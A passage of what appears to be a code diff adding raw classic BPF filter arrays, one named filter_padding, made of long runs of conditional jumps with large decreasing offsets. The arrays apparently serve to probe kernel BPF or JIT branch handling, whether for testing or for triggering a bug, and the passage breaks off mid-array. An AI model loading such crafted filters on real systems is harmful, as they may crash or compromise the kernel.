0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x22, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x21, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x0064, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x1e, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x1d, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x1c, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x19, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x0064, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x0064, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x0064, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0034, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0016, .jt = 0x00, .jf = 0x00 }, +}; + +struct sock_filter filter_padding[] = { + { .k = 0x00000000, .code = 0x0016, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xfe, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xfd, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xfc, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xfb, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xfa, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xf9, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xf8, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xf7, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xf6, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xf5, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xf4, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xf3, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xf2, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xf1, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xf0, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xef, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xee, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xed, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xec, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xeb, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xea, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xe9, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xe8, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xe7, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xe6, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xe5, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xe4, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xe3, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xe2, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xe1, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xe0, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xdf, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xde, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xdd, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xdc, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xdb, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xda, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xd9, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xd8, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xd7, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xd6, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xd5, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xd4, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xd3, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xd2, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xd1, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xd0, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xcf, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xce, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xcd, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xcc, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xcb, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xca, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xc9, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xc8, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xc7, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xc6, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xc5, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xc4, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xc3, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xc2, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xc1, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xc0, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xbf, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xbe, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xbd, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xbc, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xbb, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xba, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xb9, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xb8, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xb7, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xb6, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xb5, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xb4, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xb3, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xb2, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xb1, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xb0, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xaf, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xae, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xad, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xac, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xab, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xaa, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xa9, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xa8, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xa7, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xa6, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xa5, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xa4, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xa3, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xa2, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xa1, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xa0, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x9f, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x9e, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x9d, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x9c, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x9b, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x9a, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x99, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x98, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x97, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x96, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x95, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x94, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x93, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x92, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x91, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x90, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x8f, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x8e, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x8d, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x8c, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x8b, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x8a, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x89, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x88, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x87, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x86, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x85, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x84, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x83, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x82, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x81, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x80, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x7f, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x7e, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x7d, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x7c, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x7b, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x7a, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x79, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x78, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x77, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x76, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x75, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x74, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x73, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 